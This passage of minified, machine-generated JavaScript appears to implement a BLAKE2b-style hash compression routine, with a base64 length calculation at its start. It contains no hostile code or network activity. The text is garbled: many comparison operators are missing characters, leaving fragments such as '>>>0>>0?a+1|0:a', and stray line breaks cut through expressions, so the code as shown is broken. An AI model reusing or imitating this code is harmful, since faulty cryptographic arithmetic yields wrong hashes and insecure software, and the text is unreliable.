A,i,o=0,s=e,a=n.length,c=e+(3*a>>2)-(\"=\"==n[a-2])-(\"=\"==n[a-1]);o>4,s>2),s>>0>Y>>>0?a+1|0:a)|0,a=(it=(h=Y)>>>0>(Y=Y+it|0)>>>0?a+1|0:a)+dt|0,ot=pt=Y+lt|0,pt=a=pt>>>0>>0?a+1|0:a,Y=ft(Y^(c[t+80|0]|c[t+81|0]<<8|c[t+82|0]<<16|c[t+83|0]<<24)^-79577749,it^(c[t+84|0]|c[t+85|0]<<8|c[t+86|0]<<16|c[t+87|0]<<24)^528734635,32),vt=a=y,a=a+1013904242|0,it=Y,V=a=(Y=Y-23791573|0)>>>0<4271175723?a+1|0:a,ht=ft(Y^ct,a^ht,40),a=(a=pt)+(pt=y)|0,ct=ft(it^(I=ct=ht+ot|0),vt^(C=I>>>0>>0?a+1|0:a),48),a=V+(L=y)|0,w=a=(ct=Y+(m=ct)|0)>>>0>>0?a+1|0:a,ct=a=ft(ht^(E=ct),pt^a,1),V=Y=y,pt=c[e+24|0]|c[e+25|0]<<8|c[e+26|0]<<16|c[e+27|0]<<24,vt=a=c[e+28|0]|c[e+29|0]<<8|c[e+30|0]<<16|c[e+31|0]<<24,ut=c[t+8|0]|c[t+9|0]<<8|c[t+10|0]<<16|c[t+11|0]<<24,Y=(ht=c[e+16|0]|c[e+17|0]<<8|c[e+18|0]<<16|c[e+19|0]<<24)+(it=c[t+40|0]|c[t+41|0]<<8|c[t+42|0]<<16|c[t+43|0]<<24)|0,a=(kt=c[e+20|0]|c[e+21|0]<<8|c[e+22|0]<<16|c[e+23|0]<<24)+(St=c[t+44|0]|c[t+45|0]<<8|c[t+46|0]<<16|c[t+47|0]<<24)|0,a=(c[t+12|0]|c[t+13|0]<<8|c[t+14|0]<<16|c[t+15|0]<<24)+(Y>>>0>>0?a+1|0:a)|0,a=vt+(ot=(h=Y)>>>0>(Y=Y+ut|0)>>>0?a+1|0:a)|0,a=(ut=Y+pt|0)>>>0>>0?a+1|0:a,h=ft(Y^(c[t+72|0]|c[t+73|0]<<8|c[t+74|0]<<16|c[t+75|0]<<24)^725511199,ot^(c[t+76|0]|c[t+77|0]<<8|c[t+78|0]<<16|c[t+79|0]<<24)^-1694144372,32),f=ft(it^(g=h-2067093701|0),St^(G=(F=Y=y)-((h>>>0<2067093701)+1150833018|0)|0),40),a=(O=y)+a|0,a=(x=(v=Y=f+ut|0)>>>0>>0?a+1|0:a)+V|0,a=(v>>>0>(Y=v+ct|0)>>>0?a+1|0:a)+z|0,a=(it=(u=Y)>>>0>(Y=Y+st|0)>>>0?a+1|0:a)+J|0,R=J=Y+r|0,d=a=J>>>0>>0?a+1|0:a,B=ct,Et=V,V=Y,ot=it,ct=c[e+8|0]|c[e+9|0]<<8|c[e+10|0]<<16|c[e+11|0]<<24,Y=a=c[e+12|0]|c[e+13|0]<<8|c[e+14|0]<<16|c[e+15|0]<<24,St=a=c[0|t]|c[t+1|0]<<8|c[t+2|0]<<16|c[t+3|0]<<24,i=it=c[t+4|0]|c[t+5|0]<<8|c[t+6|0]<<16|c[t+7|0]<<24,z=a,a=(_t=c[e+4|0]|c[e+5|0]<<8|c[e+6|0]<<16|c[e+7|0]<<24)+(l=c[t+36|0]|c[t+37|0]<<8|c[t+38|0]<<16|c[t+39|0]<<24)|0,a=i+((J=c[t+32|0]|c[t+33|0]<<8|c[t+34|0]<<16|c[t+35|0]<<24)>>>0>(u=J+(it=c[0|e]|c[e+1|0]<<8|c[e+2|0]<<16|c[e+3|0]<<24)|0)>>>0?a+1|0:a)|0,a=(ut=(z=u+z|0)>>>0>>0?a+1|0:a)+Y|0,mt=u=z+ct|0,u=a=u>>>0>>0?a+1|0:a,p=J,J=ft(z^(c[0|(a=t- -64|0)]|c[a+1|0]<<8|c[a+2|0]<<16|c[a+3|0]<<24)^-1377402159,ut^(c[a+4|0]|c[a+5|0]<<8|c[a+6|0]<<16|c[a+7|0]<<24)^1359893119,32),ut=a=y,a=a+1779033703|0,z=J,S=a=(J=J-205731576|0)>>>0<4089235720?a+1|0:a,l=ft(p^(_=J),a^l,40),a=(T=y)+u|0,p=ft(z^(u=J=l+mt|0),ut^(b=l>>>0>u>>>0?a+1|0:a),48),a=ft(p^V,(Z=y)^ot,32),X=J=y,U=a,n=a=c[e+60|0]|c[e+61|0]<<8|c[e+62|0]<<16|c[e+63|0]<<24,ut=mt=c[e+56|0]|c[e+57|0]<<8|c[e+58|0]<<16|c[e+59|0]<<24,D=c[t+24|0]|c[t+25|0]<<8|c[t+26|0]<<16|c[t+27|0]<<24,J=(ot=c[e+48|0]|c[e+49|0]<<8|c[e+50|0]<<16|c[e+51|0]<<24)+(z=c[t+56|0]|c[t+57|0]<<8|c[t+58|0]<<16|c[t+59|0]<<24)|0,a=(Qt=c[e+52|0]|c[e+53|0]<<8|c[e+54|0]<<16|c[e+55|0]<<24)+(P=c[t+60|0]|c[t+61|0]<<8|c[t+62|0]<<16|c[t+63|0]<<24)|0,a=(c[t+28|0]|c[t+29|0]<<8|c[t+30|0]<<16|c[t+31|0]<<24)+(J>>>0>>0?a+1|0:a)|0,a=n+(V=(k=J)>>>0>(J=D+J|0)>>>0?a+1|0:a)|0,a=(D=J+ut|0)>>>0>>0?a+1|0:a,V=ft(J^(c[t+88|0]|c[t+89|0]<<8|c[t+90|0]<<16|c[t+91|0]<<24)^327033209,V^(c[t+92|0]|c[t+93|0]<<8|c[t+94|0]<<16|c[t+95|0]<<24)^1541459225,32),z=ft(z^(ut=V+1595750129|0),(k=P)^(P=(N=J=y)-((V>>>0<2699217167)+1521486533|0)|0),40),a=(et=y)+a|0,J=ft((D=J=z+D|0)^V,N^(k=D>>>0>>0?a+1|0:a),48),a=P+($=y)|0,M=a=(J=ut+(P=J)|0)>>>0>>0?a+1|0:a,a=X+a|0,q=B^(V=U+(N=J)|0),B=a=V>>>0>>0?a+1|0:a,ut=ft(q,a^Et,40),a=(Et=y)+d|0,J=ft(R=U^(d=J=ut+R|0),X^(U=d>>>0>>0?a+1|0:a),48),a=B+(nt=y)|0,X=a=(B=V+(R=J)|0)>>>0>>0?a+1|0:a,J=(H=ft(B^ut,Et^a,1))+(V=c[e+72|0]|c[e+73|0]<<8|c[e+74|0]<<16|c[e+75|0]<<24)|0,a=(yt=y)+(Et=c[e+76|0]|c[e+77|0]<<8|c[e+78|0]<<16|c[e+79|0]<<24)|0,wt=J,K=J>>>0>>0?a+1|0:a,W=It,J=c[e+96|0]|c[e+97|0]<<8|c[e+98|0]<<16|c[e+99|0]<<24,ut=a=c[e+100|0]|c[e+101|0]<<8|c[e+102|0]<<16|c[e+103|0]<<24,z=(a=I)+(I=ft(N^z,M^et,1))|0,a=(N=y)+C|0,a=(I>>>0>z>>>0?a+1|0:a)+ut|0,a=(C=(C=z)>>>0>(z=J+z|0)>>>0?a+1|0:a)+W|0,q=M=z+rt|0,M=a=M>>>0>>0?a+1|0:a,v=ft(h^v,x^F,48),x=a=ft(v^z,(F=y)^C,32),a=S+Z|0,a=(et=z=y)+(_=(z=p+_|0)>>>0

>>0?a+1|0:a)|0,S=a=(C=z)>>>0>(p=C+x|0)>>>0?a+1|0:a,I=ft(p^I,N^a,40),a=(Z=y)+M|0,a=(N=I>>>0>(M=z=I+q|0)>>>0?a+1|0:a)+K|0,a=(h=M>>>0>(z=M+wt|0)>>>0?a+1|0:a)+Bt|0,wt=K=z+at|0,K=a=K>>>0>>0?a+1|0:a,q=z,W=h,z=c[e+116|0]|c[e+117|0]<<8|c[e+118|0]<<16|c[e+119|0]<<24,e=c[e+112|0]|c[e+113|0]<<8|c[e+114|0]<<16|c[e+115|0]<<24,l=ft(l^C,_^T,1),a=(T=y)+k|0,a=((h=l+D|0)>>>0>>0?a+1|0:a)+z|0,a=(C=(_=h)>>>0>(h=e+h|0)>>>0?a+1|0:a)+Bt|0,Dt=_=h+at|0,_=a=_>>>0>>0?a+1|0:a,a=ft(h^m,C^L,32),tt=h=y,m=a,C=h,a=F+G|0,v=h=g+v|0,D=a=h>>>0>>0?a+1|0:a,a=a+C|0,k=h=h+m|0,L=a=v>>>0>h>>>0?a+1|0:a,C=ft(h^l,T^a,40),a=(T=y)+_|0,m=ft((h=C+Dt|0)^m,tt^(g=h>>>0>>0?a+1|0:a),48),a=ft(m^q,(Dt=y)^W,32),tt=l=y,_=a,q=l,f=ft(f^v,D^O,1),a=b+(v=y)|0,a=((l=u)>>>0>(u=u+f|0)>>>0?a+1|0:a)+At|0,a=(u=(l=u+j|0)>>>0>>0?a+1|0:a)+Et|0,W=b=l+V|0,b=a=b>>>0>>0?a+1|0:a,D=f,l=ft(l^P,u^$,32),a=(P=y)+w|0,E=ft(D^(u=f=l+E|0),(w=l>>>0>u>>>0?a+1|0:a)^v,40),a=($=y)+b|0,v=f=E+W|0,f=ft(l^f,P^(b=f>>>0>>0?a+1|0:a),48),a=w+(o=y)|0,w=f,P=a=(f=u+f|0)>>>0>>0?a+1|0:a,a=a+q|0,a=(D=f)>>>0>(f=f+_|0)>>>0?a+1|0:a,q=f,f^=H,H=a,l=ft(f,yt^a,40),a=(yt=y)+K|0,K=f=l+wt|0,a=A+(W=l>>>0>f>>>0?a+1|0:a)|0,wt=f=f+r|0,F=a=f>>>0>>0?a+1|0:a,f=h,G=rt,O=It,h=ft(x^M,N^et,48),a=S+(et=y)|0,x=h,S=a=(u=p+h|0)>>>0

>>0?a+1|0:a,h=ft(u^I,Z^a,1),a=(p=y)+O|0,a=((I=h+G|0)>>>0>>0?a+1|0:a)+g|0,a=Qt+(f=(g=f+I|0)>>>0>>0?a+1|0:a)|0,M=I=g+ot|0,I=a=I>>>0>>0?a+1|0:a,g=ft(g^w,f^o,32),a=X+(N=y)|0,w=g,B=a=(g=B+g|0)>>>0>>0?a+1|0:a,f=ft(h^g,a^p,40),a=(a=I)+(I=y)|0,p=h=f+M|0,h=ft(h^w,N^(M=h>>>0>>0?a+1|0:a),48),a=B+(Z=y)|0,N=h,X=a=(B=g+h|0)>>>0>>0?a+1|0:a,h=ft(f^B,I^a,1),a=(I=y)+F|0,a=n+(f=(g=h+wt|0)>>>0>>0?a+1|0:a)|0,wt=w=g+mt|0,w=a=w>>>0>>0?a+1|0:a,F=h,G=I,a=L+Dt|0,a=(h=m+k|0)>>>0>>0?a+1|0:a,m=h,k=a,a=ft(h^C,T^a,1),C=I=y,h=a,a=b+z|0,a=((v=e+v|0)>>>0>>0?a+1|0:a)+I|0,a=Ct+(v=(I=h+v|0)>>>0>>0?a+1|0:a)|0,L=b=I+st|0,b=a=b>>>0>>0?a+1|0:a,I=ft(I^R,v^nt,32),a=S+(R=y)|0,v=I,S=a=(S=u)>>>0>(u=u+I|0)>>>0?a+1|0:a,I=ft(h^u,a^C,40),a=(T=y)+b|0,C=h=I+L|0,h=ft(b=h^v,R^(v=h>>>0>>0?a+1|0:a),48),a=S+(nt=y)|0,S=h,b=h=u+h|0,R=a=h>>>0>>0?a+1|0:a,L=g,O=f,h=ft(E^D,P^$,1),a=(u=y)+Q|0,a=U+((g=h+gt|0)>>>0>>0?a+1|0:a)|0,a=At+(f=(g=g+d|0)>>>0>>0?a+1|0:a)|0,U=d=g+j|0,d=a=d>>>0>>0?a+1|0:a,E=h,h=(g=ft(g^x,f^et,32))+m|0,a=(m=y)+k|0,f=h,u=ft(h^E,(x=h>>>0>>0?a+1|0:a)^u,40),a=(et=y)+d|0,d=h=u+U|0,D=ft(h^g,m^(U=h>>>0>>0?a+1|0:a),48),g=ft(D^L,(a=O)^(O=y),32),a=(L=y)+R|0,m=h=g+b|0,E=ft(h^F,(k=h>>>0>>0?a+1|0:a)^G,40),a=(F=y)+w|0,w=h=E+wt|0,h=ft(h^g,L^(P=h>>>0>>0?a+1|0:a),48),a=k+($=y)|0,k=h,L=a=(g=m)>>>0>(m=m+h|0)>>>0?a+1|0:a,h=ft(m^E,F^a,1),a=Bt+(wt=y)|0,F=h,Dt=h=at+h|0,E=a=h>>>0>>0?a+1|0:a,g=lt,h=ft(I^b,T^R,1),a=M+(I=y)|0,a=((b=p)>>>0>(p=h+p|0)>>>0?a+1|0:a)+dt|0,a=(b=(g=g+p|0)>>>0

>>0?a+1|0:a)+vt|0,G=p=g+pt|0,M=a=p>>>0>>0?a+1|0:a,R=h,p=ft(_^K,W^tt,48),a=ft(p^g,(T=y)^b,32),tt=h=y,_=a,g=h,a=x+O|0,a=(h=f+D|0)>>>0>>0?a+1|0:a,f=h,x=a,a=a+g|0,b=h=h+_|0,D=a=f>>>0>h>>>0?a+1|0:a,g=ft(h^R,a^I,40),a=(a=M)+(M=y)|0,R=h=g+G|0,K=a=h>>>0>>0?a+1|0:a,a=a+E|0,W=a=(I=h+Dt|0)>>>0>>0?a+1|0:a,E=a,h=ft(u^f,x^et,1),a=Y+(u=y)|0,a=v+((f=h+ct|0)>>>0>>0?a+1|0:a)|0,a=ut+(C=(f=f+C|0)>>>0>>0?a+1|0:a)|0,G=v=f+J|0,v=a=v>>>0>>0?a+1|0:a,x=h,a=ft(f^N,C^Z,32),O=h=y,f=a,C=h,a=T+H|0,N=h=p+q|0,H=a=h>>>0

>>0?a+1|0:a,a=a+C|0,a=(p=h+f|0)>>>0>>0?a+1|0:a,h=p^x,x=a,C=ft(h,a^u,40),a=(Z=y)+v|0,u=h=C+G|0,q=ft(h^f,O^(v=h>>>0>>0?a+1|0:a),48),a=ft(q^I,(et=y)^E,32),Dt=h=y,G=a,E=h,h=ft(l^N,H^yt,1),a=U+(l=y)|0,a=_t+((f=h+d|0)>>>0>>0?a+1|0:a)|0,a=(d=(f=f+it|0)>>>0>>0?a+1|0:a)+kt|0,N=U=f+ht|0,U=a=U>>>0>>0?a+1|0:a,f=ft(f^S,d^nt,32),a=X+(H=y)|0,S=f,d=l,l=a=(f=B+f|0)>>>0>>0?a+1|0:a,d=ft(h^f,d^a,40),a=(nt=y)+U|0,B=h=d+N|0,h=ft(N=h^S,H^(S=h>>>0>>0?a+1|0:a),48),a=l+(T=y)|0,l=h,U=h=f+h|0,N=a=h>>>0>>0?a+1|0:a,a=a+E|0,X=a=(E=h+G|0)>>>0>>0?a+1|0:a,f=ft(E^F,wt^a,40),a=W+(H=y)|0,a=((h=f+I|0)>>>0>>0?a+1|0:a)+It|0,I=h,W=h=h+rt|0,F=a=I>>>0>h>>>0?a+1|0:a,O=At,I=ft(_^R,K^tt,48),a=(yt=y)+D|0,_=h=I+b|0,a=ft(h^g,(b=h>>>0>>0?a+1|0:a)^M,1),M=g=y,h=a,a=v+A|0,a=((u=u+r|0)>>>0>>0?a+1|0:a)+g|0,a=(u=(g=h+u|0)>>>0>>0?a+1|0:a)+O|0,D=v=g+j|0,v=a=v>>>0>>0?a+1|0:a,g=ft(g^l,u^T,32),a=L+(R=y)|0,m=a=(l=g+m|0)>>>0>>0?a+1|0:a,u=ft(h^l,a^M,40),a=(K=y)+v|0,v=h=u+D|0,g=ft(h^g,R^(M=h>>>0>>0?a+1|0:a),48),a=m+(D=y)|0,R=a=(m=g+l|0)>>>0>>0?a+1|0:a,h=ft(u^m,K^a,1),a=(K=y)+F|0,a=Et+((l=h+W|0)>>>0>>0?a+1|0:a)|0,a=(u=(l=l+V|0)>>>0>>0?a+1|0:a)+Q|0,wt=Q=l+gt|0,Q=a=Q>>>0>>0?a+1|0:a,L=h,O=l,T=u,l=lt,h=ft(d^U,N^nt,1),a=P+(d=y)|0,a=((u=w)>>>0>(w=h+w|0)>>>0?a+1|0:a)+dt|0,a=kt+(u=(l=l+w|0)>>>0>>0?a+1|0:a)|0,P=w=l+ht|0,U=a=w>>>0>>0?a+1|0:a,w=h,u=a=ft(l^I,u^yt,32),a=x+et|0,a=(N=h=y)+(p=(h=p+q|0)>>>0

>>0?a+1|0:a)|0,x=a=(I=h+u|0)>>>0>>0?a+1|0:a,w=ft(I^w,a^d,40),a=(et=y)+U|0,U=ft(P=(l=w+P|0)^u,N^(u=l>>>0>>0?a+1|0:a),48),a=ft(U^O,(nt=y)^T,32),yt=d=y,P=a,N=d,h=ft(h^C,p^Z,1),a=ut+(d=y)|0,a=S+((p=h+J|0)>>>0>>0?a+1|0:a)|0,a=_t+(B=(p=p+B|0)>>>0>>0?a+1|0:a)|0,O=C=p+it|0,C=a=C>>>0>>0?a+1|0:a,S=h,q=d,p=ft(p^k,B^$,32),a=(k=y)+b|0,d=h=p+_|0,B=ft(h^S,(_=h>>>0

>>0?a+1|0:a)^q,40),a=(Z=y)+C|0,S=h=B+O|0,h=ft(h^p,k^(b=h>>>0>>0?a+1|0:a),48),a=_+(O=y)|0,C=h,_=h=d+h|0,k=a=h>>>0>>0?a+1|0:a,a=a+N|0,N=h=h+P|0,p=K,K=a=_>>>0>h>>>0?a+1|0:a,p=ft(h^L,p^a,40),a=(a=Q)+(Q=y)|0,q=h=p+wt|0,L=a=h>>>0

>>0?a+1|0:a,d=u,h=ft(G^W,F^Dt,48),a=X+($=y)|0,X=h,u=(h=E+h|0)^f,f=a=h>>>0>>0?a+1|0:a,u=ft(u,a^H,1),a=(H=y)+d|0,a=n+((l=u+l|0)>>>0>>0?a+1|0:a)|0,a=(d=(l=l+mt|0)>>>0>>0?a+1|0:a)+Y|0,W=E=l+ct|0,E=a=E>>>0>>0?a+1|0:a,l=ft(l^C,d^O,32),a=R+(F=y)|0,R=l,m=a=(d=m+l|0)>>>0>>0?a+1|0:a,u=ft(u^d,H^a,40),a=(a=E)+(E=y)|0,C=l=u+W|0,l=ft(G=l^R,F^(R=l>>>0>>0?a+1|0:a),48),a=m+(wt=y)|0,H=l,W=a=(m=d+l|0)>>>0>>0?a+1|0:a,l=ft(u^m,E^a,1),a=(E=y)+L|0,a=A+((u=l+q|0)>>>0>>0?a+1|0:a)|0,a=z+(d=(u=u+r|0)>>>0>>0?a+1|0:a)|0,Dt=F=e+u|0,F=a=F>>>0>>0?a+1|0:a,G=l,O=E,E=u,T=d,l=ft(B^_,k^Z,1),a=(d=y)+M|0,a=Ct+((u=l+v|0)>>>0>>0?a+1|0:a)|0,a=(B=(u=u+st|0)>>>0>>0?a+1|0:a)+z|0,M=v=e+u|0,v=a=v>>>0>>0?a+1|0:a,_=l,u=a=ft(u^X,B^$,32),B=l=y,a=x+nt|0,x=a=(l=I+U|0)>>>0>>0?a+1|0:a,a=a+B|0,a=(I=l)>>>0>(l=l+u|0)>>>0?a+1|0:a,U=l,l^=_,_=a,d=ft(l,a^d,40),a=(Z=y)+v|0,B=ft(v=(l=d+M|0)^u,B^(u=l>>>0>>0?a+1|0:a),48),a=ft(B^E,(a=T)^(T=y),32),$=E=y,v=a,M=f,f=g,a=ft(I^w,x^et,1),k=g=y,I=a,a=b+vt|0,a=((w=S+pt|0)>>>0>>0?a+1|0:a)+g|0,w=a=(g=I+w|0)>>>0>>0?a+1|0:a,f=ft(g^f,a^D,32),a=(a=M)+(M=y)|0,I=ft((h=f+h|0)^I,k^(x=h>>>0>>0?a+1|0:a),40),a=w+(et=y)|0,S=I,a=Qt+((b=g)>>>0>(g=g+I|0)>>>0?a+1|0:a)|0,b=a=(I=g+ot|0)>>>0>>0?a+1|0:a,g=ft(f^I,M^a,48),a=x+(nt=y)|0,D=h,f=g,x=h=h+g|0,M=a=D>>>0>h>>>0?a+1|0:a,a=a+E|0,D=a=(E=h+v|0)>>>0>>0?a+1|0:a,h=(w=ft(E^G,a^O,40))+Dt|0,a=(Dt=y)+F|0,k=h,X=h>>>0>>0?a+1|0:a,h=ft(P^q,L^yt,48),a=(P=y)+K|0,N=g=h+N|0,G=Q,Q=a=g>>>0>>0?a+1|0:a,a=ft(g^p,G^a,1),q=g=y,p=a,a=u+n|0,a=((l=l+mt|0)>>>0>>0?a+1|0:a)+g|0,a=Et+(l=(g=l+p|0)>>>0>>0?a+1|0:a)|0,L=u=g+V|0,u=a=u>>>0>>0?a+1|0:a,g=ft(g^f,l^nt,32),a=W+(F=y)|0,K=g,g=(f=m+g|0)^p,p=a=f>>>0>>0?a+1|0:a,l=ft(g,q^a,40),a=(a=u)+(u=y)|0,q=g=l+L|0,g=ft(m=g^K,F^(K=g>>>0>>0?a+1|0:a),48),a=p+(nt=y)|0,W=g,f=a=(g=f+g|0)>>>0>>0?a+1|0:a,l=ft(g^l,u^a,1),a=(m=y)+X|0,a=Bt+((u=l+k|0)>>>0>>0?a+1|0:a)|0,a=(p=(u=u+at|0)>>>0>>0?a+1|0:a)+At|0,tt=L=u+j|0,L=a=L>>>0>>0?a+1|0:a,F=l,G=u,O=p,l=ft(S^x,M^et,1),a=(M=y)+It|0,a=R+(l>>>0>(u=l+rt|0)>>>0?a+1|0:a)|0,p=a=(u=u+C|0)>>>0>>0?a+1|0:a,a=ft(h^u,a^P,32),P=h=y,C=a,a=_+T|0,a=(h=B+U|0)>>>0>>0?a+1|0:a,B=h,x=a,a=P+a|0,_=h=h+C|0,S=a=B>>>0>h>>>0?a+1|0:a,h=ft(h^l,M^a,40),a=p+(T=y)|0,U=h,a=ut+((h=u+h|0)>>>0>>0?a+1|0:a)|0,a=(h=h+J|0)>>>0>>0?a+1|0:a,M=h,h^=C,C=a,p=ft(h,P^a,48),a=ft(p^G,(a=O)^(O=y),32),et=h=y,P=a,R=h,h=ft(d^B,x^Z,1),a=vt+(u=y)|0,a=b+((l=h+pt|0)>>>0>>0?a+1|0:a)|0,a=(d=(l=l+I|0)>>>0>>0?a+1|0:a)+Y|0,b=B=l+ct|0,B=a=B>>>0>>0?a+1|0:a,I=h,x=u,h=(l=ft(l^H,d^wt,32))+N|0,a=(N=y)+Q|0,u=h,d=ft(d=h^I,(I=h>>>0>>0?a+1|0:a)^x,40),a=(Z=y)+B|0,B=h=d+b|0,l=ft(h^l,N^(Q=h>>>0>>0?a+1|0:a),48),a=I+(x=y)|0,b=h=l+u|0,N=a=h>>>0>>0?a+1|0:a,a=a+R|0,R=a=(I=h+P|0)>>>0>>0?a+1|0:a,u=ft(I^F,a^m,40),a=(H=y)+L|0,L=h=u+tt|0,F=a=h>>>0>>0?a+1|0:a,h=g,m=f,f=l,g=ft(v^k,X^$,48),a=D+(tt=y)|0,v=g,E=a=(l=E+g|0)>>>0>>0?a+1|0:a,a=ft(l^w,Dt^a,1),D=g=y,w=a,a=C+bt|0,a=((C=M+gt|0)>>>0>>0?a+1|0:a)+g|0,C=a=(g=C+w|0)>>>0>>0?a+1|0:a,f=ft(g^f,a^x,32),a=(M=y)+m|0,w=ft((h=f+h|0)^w,D^(m=h>>>0>>0?a+1|0:a),40),a=C+(k=y)|0,a=_t+((C=g)>>>0>(g=g+w|0)>>>0?a+1|0:a)|0,x=a=(C=g+it|0)>>>0>>0?a+1|0:a,g=ft(f^C,M^a,48),a=m+($=y)|0,M=g,D=a=(m=h+g|0)>>>0>>0?a+1|0:a,h=ft(m^w,k^a,1),a=(w=y)+F|0,a=Ct+((g=h+L|0)>>>0>>0?a+1|0:a)|0,a=Bt+(f=(g=g+st|0)>>>0>>0?a+1|0:a)|0,yt=k=g+at|0,k=a=k>>>0>>0?a+1|0:a,X=h,G=g,h=ft(d^b,N^Z,1),a=(d=y)+K|0,a=kt+((g=h+q|0)>>>0>>0?a+1|0:a)|0,a=Qt+(b=(g=g+ht|0)>>>0>>0?a+1|0:a)|0,q=N=g+ot|0,N=a=N>>>0>>0?a+1|0:a,K=h,a=ft(g^v,b^tt,32),tt=h=y,g=a,a=S+O|0,_=h=p+_|0,v=a=h>>>0

>>0?a+1|0:a,a=tt+a|0,S=a=(p=h+g|0)>>>0>>0?a+1|0:a,d=ft(p^K,a^d,40),a=(O=y)+N|0,b=h=d+q|0,K=ft(h^g,tt^(N=h>>>0>>0?a+1|0:a),48),a=ft(K^G,(tt=y)^f,32),Z=h=y,q=a,f=h,g=lt,h=ft(_^U,v^T,1),a=Q+(v=y)|0,a=((_=B)>>>0>(B=h+B|0)>>>0?a+1|0:a)+dt|0,a=Ct+(B=(g=g+B|0)>>>0>>0?a+1|0:a)|0,_=Q=g+st|0,Q=a=Q>>>0>>0?a+1|0:a,g=ft(g^W,B^nt,32),a=E+(U=y)|0,E=g,a=(g=l+g|0)>>>0>>0?a+1|0:a,l=v,v=a,l=ft(h^g,l^a,40),a=(T=y)+Q|0,B=h=l+_|0,h=ft(h^E,U^(Q=h>>>0>>0?a+1|0:a),48),a=v+(G=y)|0,v=h,_=h=g+h|0,U=a=h>>>0>>0?a+1|0:a,a=a+f|0,a=(E=h+q|0)>>>0>>0?a+1|0:a,h=E^X,X=a,w=ft(h,a^w,40),a=(nt=y)+k|0,k=h=w+yt|0,W=h>>>0>>0?a+1|0:a,h=ft(P^L,F^et,48),a=R+(et=y)|0,P=h,a=(h=I+h|0)>>>0>>0?a+1|0:a,I=h,R=a,a=ft(h^u,a^H,1),H=h=y,f=a,a=N+Et|0,a=((g=b+V|0)>>>0>>0?a+1|0:a)+h|0,a=_t+(g=(h=g+f|0)>>>0>>0?a+1|0:a)|0,b=u=h+it|0,u=a=u>>>0>>0?a+1|0:a,h=ft(h^v,g^G,32),a=D+(N=y)|0,v=h,m=a=(g=m+h|0)>>>0>>0?a+1|0:a,f=ft(g^f,H^a,40),a=(H=y)+u|0,b=h=f+b|0,h=ft(u=h^v,N^(v=h>>>0>>0?a+1|0:a),48),a=m+(yt=y)|0,m=h,D=a=(u=g+h|0)>>>0>>0?a+1|0:a,h=ft(u^f,H^a,1),a=(N=y)+W|0,a=vt+((g=h+k|0)>>>0>>0?a+1|0:a)|0,a=(f=(g=g+pt|0)>>>0>>0?a+1|0:a)+It|0,wt=H=g+rt|0,H=a=H>>>0>>0?a+1|0:a,L=h,F=g,G=f,h=ft(l^_,T^U,1),a=kt+(f=y)|0,a=x+((g=h+ht|0)>>>0>>0?a+1|0:a)|0,a=bt+(l=(g=g+C|0)>>>0>>0?a+1|0:a)|0,U=C=g+gt|0,C=a=C>>>0>>0?a+1|0:a,x=h,_=f,a=ft(g^P,l^et,32),P=h=y,l=a,g=h,a=S+tt|0,a=(h=p+K|0)>>>0

>>0?a+1|0:a,p=h,S=a,a=a+g|0,a=(f=h+l|0)>>>0>>0?a+1|0:a,h=f^x,x=a,h=ft(h,a^_,40),a=(a=C)+(C=y)|0,_=g=h+U|0,U=a=g>>>0>>0?a+1|0:a,P=ft(g^l,P^a,48),a=ft(P^F,(a=G)^(G=y),32),T=g=y,K=a,g=ft(p^d,S^O,1),a=(p=y)+dt|0,a=Q+((l=g+lt|0)>>>0>>0?a+1|0:a)|0,a=n+(d=(l=l+B|0)>>>0>>0?a+1|0:a)|0,O=B=l+mt|0,B=a=B>>>0>>0?a+1|0:a,Q=g,S=p,l=ft(l^M,d^$,32),a=(M=y)+R|0,p=g=l+I|0,g=(d=ft(g^Q,(I=g>>>0>>0?a+1|0:a)^S,40))+O|0,a=(O=y)+B|0,Q=g,g=ft(g^l,M^(S=g>>>0>>0?a+1|0:a),48),a=I+(tt=y)|0,M=g,R=g=p+g|0,F=a=g>>>0

>>0?a+1|0:a,a=T+a|0,a=(l=g+K|0)>>>0>>0?a+1|0:a,g=N,N=a,p=ft(l^L,g^a,40),a=(et=y)+H|0,B=g=p+wt|0,a=ft(g^K,T^(H=g>>>0

>>0?a+1|0:a),48),T=g=y,K=a,g=h,a=x+G|0,x=h=f+P|0,P=a=h>>>0>>0?a+1|0:a,a=ft(h^g,a^C,1),f=g=y,h=a,a=S+A|0,a=((I=Q+r|0)>>>0>>0?a+1|0:a)+g|0,a=ut+(I=(g=h+I|0)>>>0>>0?a+1|0:a)|0,G=C=g+J|0,C=a=C>>>0>>0?a+1|0:a,Q=h,S=f,h=ft(k^q,W^Z,48),a=X+(Z=y)|0,k=h,a=(h=E+h|0)>>>0>>0?a+1|0:a,E=h,g=ft(g^m,I^yt,32),X=a,a=a+(q=y)|0,f=h=g+h|0,I=ft(h^Q,(m=h>>>0>>0?a+1|0:a)^S,40),a=(W=y)+C|0,C=h=I+G|0,h=ft(h^g,q^(Q=h>>>0>>0?a+1|0:a),48),a=m+($=y)|0,S=h,q=a=(m=f+h|0)>>>0>>0?a+1|0:a,h=ft(I^m,W^a,1),a=_t+(G=y)|0,W=h,yt=h=it+h|0,f=a=h>>>0>>0?a+1|0:a,h=ft(w^E,X^nt,1),a=(I=y)+U|0,a=Qt+((g=h+_|0)>>>0>>0?a+1|0:a)|0,a=At+(E=(g=g+ot|0)>>>0>>0?a+1|0:a)|0,X=w=g+j|0,w=a=w>>>0>>0?a+1|0:a,_=I,g=ft(g^M,E^tt,32),a=D+(tt=y)|0,U=g,a=(I=u+g|0)>>>0>>0?a+1|0:a,u=_,_=a,E=ft(h^I,u^a,40),a=(nt=y)+w|0,M=h=E+X|0,a=(D=h>>>0>>0?a+1|0:a)+f|0,w=a=(f=h+yt|0)>>>0>>0?a+1|0:a,X=a=ft(f^K,a^T,32),L=h=y,h=ft(d^R,F^O,1),a=(u=y)+v|0,a=z+((g=h+b|0)>>>0>>0?a+1|0:a)|0,a=(d=(g=e+g|0)>>>0>>0?a+1|0:a)+Y|0,F=v=g+ct|0,v=a=v>>>0>>0?a+1|0:a,b=h,R=u,g=ft(g^k,d^Z,32),a=(k=y)+P|0,u=h=g+x|0,h=(d=ft(h^b,(x=h>>>0>>0?a+1|0:a)^R,40))+F|0,a=(F=y)+v|0,v=h,h=ft(h^g,k^(b=h>>>0>>0?a+1|0:a),48),a=x+(Z=y)|0,x=h,k=a=(h=u+h|0)>>>0>>0?a+1|0:a,a=a+L|0,P=a=(u=h)>>>0>(h=h+X|0)>>>0?a+1|0:a,g=ft(h^W,G^a,40),a=w+(G=y)|0,R=g,a=A+((g=f+g|0)>>>0>>0?a+1|0:a)|0,W=g=g+r|0,f=g^X,X=a=g>>>0>>0?a+1|0:a,g=ft(f,L^a,48),a=P